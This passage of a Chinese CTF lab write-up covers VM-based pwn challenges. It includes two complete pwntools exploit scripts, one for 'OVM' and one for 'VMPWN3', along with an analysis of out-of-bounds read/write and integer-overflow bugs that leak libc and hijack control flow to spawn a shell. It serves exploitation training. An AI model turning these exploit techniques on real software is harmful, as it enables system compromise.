u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit 利用脚本 #!/usr/bin/python from pwn import * from time import sleep context.binary = './OVM' context.log_level = 'debug' io = process('./OVM') elf = ELF('OVM') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #reg[v4] = reg[v2] + reg[v3] def add(v4, v3, v2):    return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = reg[v3] << reg[v2] def left_shift(v4, v3, v2):    return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = memory[reg[v2]] def read(v4, v2):    return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1]) #memory[reg[v2]] = reg[v4] def write(v4, v2):    return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1]) # reg[v4] = (unsigned __int8)v2 def setnum(v4, v2):    return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1]) code = [    setnum(0, 8),  # reg[0]=8    setnum(1, 0xff),  # reg[1]=0xff    setnum(2, 0xff),  # reg[2]=0xff    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)    setnum(1, 0xc8),  # reg[1]=0xc8    # reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)    left_shift(2, 2, 0),    # reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)    add(2, 2, 1),    read(3, 2),  # reg[3]=memory[reg[2]]=memory[-56]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+reg[1]=-56+1=-55    read(4, 2),  # reg[4]=memory[reg[2]]=memory[-55]    setnum(1, 0x10),  # reg[1]=0x10    left_shift(1, 1, 0),  # reg[1]=reg[1]<<8=0x10<<8=0x1000    setnum(0, 0x90),  # reg[0]=0x90    # reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090    add(1, 1, 0),    add(3, 3, 1),  # reg[3]=reg[3]+reg[1]    setnum(1, 47),  # reg[1]=47    add(2, 2, 1),  # reg[2]=reg[2]+2=-55+47=-8    write(3, 2),  # memory[reg[2]]=memory[-8]=reg[3]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+1=-8+1=-7    write(4, 2),  # memory[reg[2]]=memory[-7]=reg[4]    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])  # exit ] io.recvuntil('PC: ') io.sendline(str(0)) io.recvuntil('SP: ') io.sendline(str(1)) io.recvuntil('SIZE: ') io.sendline(str(len(code))) io.recvuntil('CODE: ') for i in code:    #sleep(0.2)    io.sendline(str(i)) io.recvuntil('R3: ') #gdb.attach(io) last_4bytes = int(io.recv(8), 16)+8 log.success('last_4bytes => {}'.format(hex(last_4bytes))) io.recvuntil('R4: ') first_4bytes = int(io.recv(4), 16) log.success('first_4bytes => {}'.format(hex(first_4bytes))) free_hook = (first_4bytes << 32)+last_4bytes libc_base = free_hook-libc.symbols['__free_hook'] system_addr = libc_base+libc.symbols['system'] log.success('free_hook => {}'.format(free_hook)) log.success('system_addr => {}'.format(system_addr)) io.recvuntil('OVM?\n') io.sendline('/bin/sh\x00'+p64(system_addr)) io.interactive() 实验三 VMPWN3 实验简介 这道题是也一道很典型VMPWN,接收字节码,然后进行解析,在解析过程中会存在漏洞,逆向分析这个虚拟机,找出其解析漏洞然后构造好特定的字节码输入进去从而通过这个程序漏洞拿下目标机器的权限。 题目保护检查 这道题目的保护程序相较于上一题又有所提升,所有保护全部开启。 漏洞分析 使用IDA打开程序 执行逻辑一目了然。 首先,使用fread往code中读取0x100字节的opcode,然后进入while大循环,对我们输入的opcode进行解析。 看到这个sub_11E9函数 很长一行伪代码,似乎实现了很复杂的功能,不过仔细看一看 pc的初始值为0,那我们假设这个pc现在就是0,那么这行代码就是将从code中取出4字节的opcode,然后左移8位,然后和0xFF0000进行按位与,假设当前opcode为0x12345678,0x12345678<<8&0xFF0000=0x560000,即取倒数第二字节。后面地几个操作也是一样,将每个字节取出来之后再用按位或操作组合起来,不过组合之后地opcode是将原始opcode逆序之后的。即如果原始code为0x12345678,那么取出来之后的opcode就为0x78563412。取完一串code之后,将pc指针加4。 所以这个函数的作用就是取指令,因此我们将其重命名为fetch_code。 然后继续往下看。 HIBYTE(code)是什么意思?看到汇编 将code送入eax中,然后右移24位,将此时ax中的值取出来。如果我们的code为0x78563412,那么HIBYTE(code)就是0x78.也就是说,HIBYTE(code)会取code的最高1字节。因此我们将v7重命名为code 再看到对v6进行判断的位置 这里做了大量的运算,但是在为代码中都没有显示出来,我们来继续分析汇编 将code存入eax,然后eax右移16位,将al存入var_249这个变量中,这个操作实际上取出的是第二个字节,因此我们将var_249重命名为second_byte。往下看 这里将code存入eax,然后将ax右移8位,将al存入var_248这个变量中,这个操作取出的是第三个字节,因此我们将var_248重命名为third_byte。 这里就是将第四个字节存入var_247中,将其重名为forth_byte。 根据取出来的1字节选择对应的功能。最大值到0xF为止,所以这里取出来的1字节应该就是功能码,对应我们要执行哪个操作。 接下来开始分析vm的功能有哪些,如何实现的。 注意到在程序中出现了大量的判断语句,判断code中的第一字节或者第二字节是否大于等于6,是的话就退出,根据我的经验,这里的判断就是对寄存器的索引值的判断,也就是寄存器的索引值最大只能为5,那么就一共有6个寄存器,索引从0到5,每个寄存器的大小为WORD,即2字节。 一个虚拟机除了通用寄存器外,还应有pc指针(在前面已经出现),以及sp指针用来指示栈顶位置,因此我们在程序中搜寻可能的sp指针。由于sp指针的变化便随着出栈和入栈,所以是相当好确定的。 在这里我们发现了类似于入栈出栈的操作,栈和栈顶指针也很快确定下来。将v9重名为sp_ptr。 v10+ v11一共0xc个字节,寄存器有2*6=0xc个字节,再加上stack,我们可以得出虚拟机的结构体如下: struct vm {  int16_t regs[6];  int16_t stack[256]; }; 应用到IDA中如下所示 整个伪代码变得更加清晰了,有哪些功能也能一眼看出 其实基本所有vm实现的功能都基本一样,在前面两题中我也做了具体分析,所以在这里就不再逐个分析了,所有功能如下所示: 那么漏洞点在哪里?注意到在进行三个寄存器的操作时,会对三个寄存器的索引值进行检查,不能大于等于6。 然而在进行乘法时: 并未对r3的索引进行检查,这样就可以将超出寄存器范围的数据进行乘法,当我们固定好另外两个寄存器的数据时就能够造成越界读的效果。 还有一个漏洞 在进行mov指令时,对r2的索引检查的时候是按照无符号整型的方式来检查的,而对r1的索引检查时则使用的是有符号整型检查,这样就有如果r1的索引为负数也一样能够通过检查。这样就有了一个越界写漏洞。 这样整体利用思路就是先利用乘法中的越界读漏洞读取libc地址,然后计算出onegadget地址,再利用越界写漏洞将onegadget地址写入到返回地址中。 接下来我们看到动态调试部分 由于虚拟机是在栈中分配的,而在栈中存在大量libc的地址,如下图 我们可以利用乘法的越界读功能,首先将一个寄存器的值设置为1,然后利用乘法的越界读功能使栈中的libc地址与1相乘并存入寄存器中,这里需要注意,由于每个寄存器只有2字节长度,而libc地址的有效长度为6字节,所以需要用3个寄存器来存储libc地址。 我们首先将reg0设置为1,如下图所示 然后我们找到最近的libc地址,如下图 而寄存器的起始地址为0x7ffde8c12c04,每个寄存器的大小为2字节,我们据此来计算这个libc地址的偏移量 如果要用寄存器来进行索引的话,那么索引下标应该为0xe,接着我们用乘法功能,使reg[0]*reg[0xe],并将结果存入reg[0]中 如上图所示,已经将libc地址的末尾2字节存入了reg[0]中。 后续我们继续按照此操作,将libc地址的剩余字节也存入reg[1]和reg[2]中,如下图 有了libc地址之后,就可以根据libc地址计算onegadget的地址了 选择0xe3b31这个onegadget,那么它在libc中的加载地址就为libc_base+0xe3b31 依然由于寄存器是2字节长度,所以我们每次对二字节进行操作,可以看到onegadget的末尾二字节和reg[0]的差值是0x431,也就是说reg[0]+0x431就可以得到onegadget的末尾二字节; 而中间二字节的差值为0x14,即reg[1]+0x14就可以得到onegadget的中间二字节的值,而最开头的地址都是一样的,不需要进行计算。 为了计算onegadget的地址,我们使用add功能。 接下来我们需要将onegadget的地址写入到某个地址中,由于vm位于栈中,所以我们考虑将onegadget写入返回地址中 但是越界写功能只能够往上越界写,而返回地址位于虚拟机的下方,这里该怎么办才能顺利写呢? 注意到在push功能处 栈顶指针是有符号类型,因此如果栈顶指针为负数就可以通过检查,我们看看栈顶指针距离返回地址的偏移量为多少 虚拟机的栈也是2字节为单位,所以如果要通过栈索引到返回地址,则需要数组下标为0x10c。 在push进行赋值时,存在这样的操作 假设rax为0x800000000000010c,rax*2之后就会整数溢出变成0x0000000000000218,这样就既可以绕过栈顶指针检测也可以将栈顶指针修改为指向返回地址。 后面我们再将寄存器中的值压栈,就可以将返回地址覆盖为onegadget的地址,这样一来程序结束时就能够调用onegadget来getshell 利用脚本 from pwn import * context.log_level='debug' io=process('./mva') libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so') onegadget=0xe3b31 def get_command(code, op1, op2, op3): return p8(code) + p8(op1) + p8(op2) + p8(op3) def movl(reg, value): return get_command(1, reg, value >> 8, value & 0xFF) def add(dest, add1, add2): return get_command(2, dest, add1, add2) def sub(dest, subee, suber): return get_command(3, dest, subee, suber) def band(dest, and1, and2): return get_command(4, dest, and1, and2) def bor(dest, or1, or2): return get_command(5, dest, or1, or2) def sar(dest, off): return get_command(6, dest, off, 0) def bxor(dest, xor1, xor2): return get_command(7, dest, xor1, xor2) def push(reg, value): if reg == 0: return get_command(9, reg, 0, 0) else: return get_command(9, reg, value >> 8, value & 0xFF) def pop(reg): return get_command(10, reg, 0, 0) def imul(dest, imul1, imul2): return get_command(13, dest, imul1, imul2) def mov(src, dest): return get_command(14, src, dest, 0) def print_top(): return get_command(15, 0, 0, 0) def pwn():    io.recvuntil('[+] Welcome to MVA, input your code now :')    payload=movl(0,0x1)    payload+=imul(0,14,0)    payload+=movl(1,0x1)    payload+=imul(1,15,1)    payload+=movl(2,0x1)    payload+=imul(2,16,2)    payload+=movl(4,0x431)    payload+=add(0,0,4)    payload+=movl(4,0x14)    payload+=sub(1,1,4)    payload+=movl(4,0x8000)    payload+=mov(4,0xf9)    payload+=movl(4,0x10c)    payload+=mov(4,0xf6)    payload+=push(0,0)    payload+=mov(1,0)    payload+=push(0,0)    payload+=mov(2,0)    payload+=push(0,0)    payload=payload.ljust(0x100,'\x00')    # gdb.attach(io,'b *$rebase(0x0000000000001431)')    # pause()    io.send(payload)    io.interactive() pwn()
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页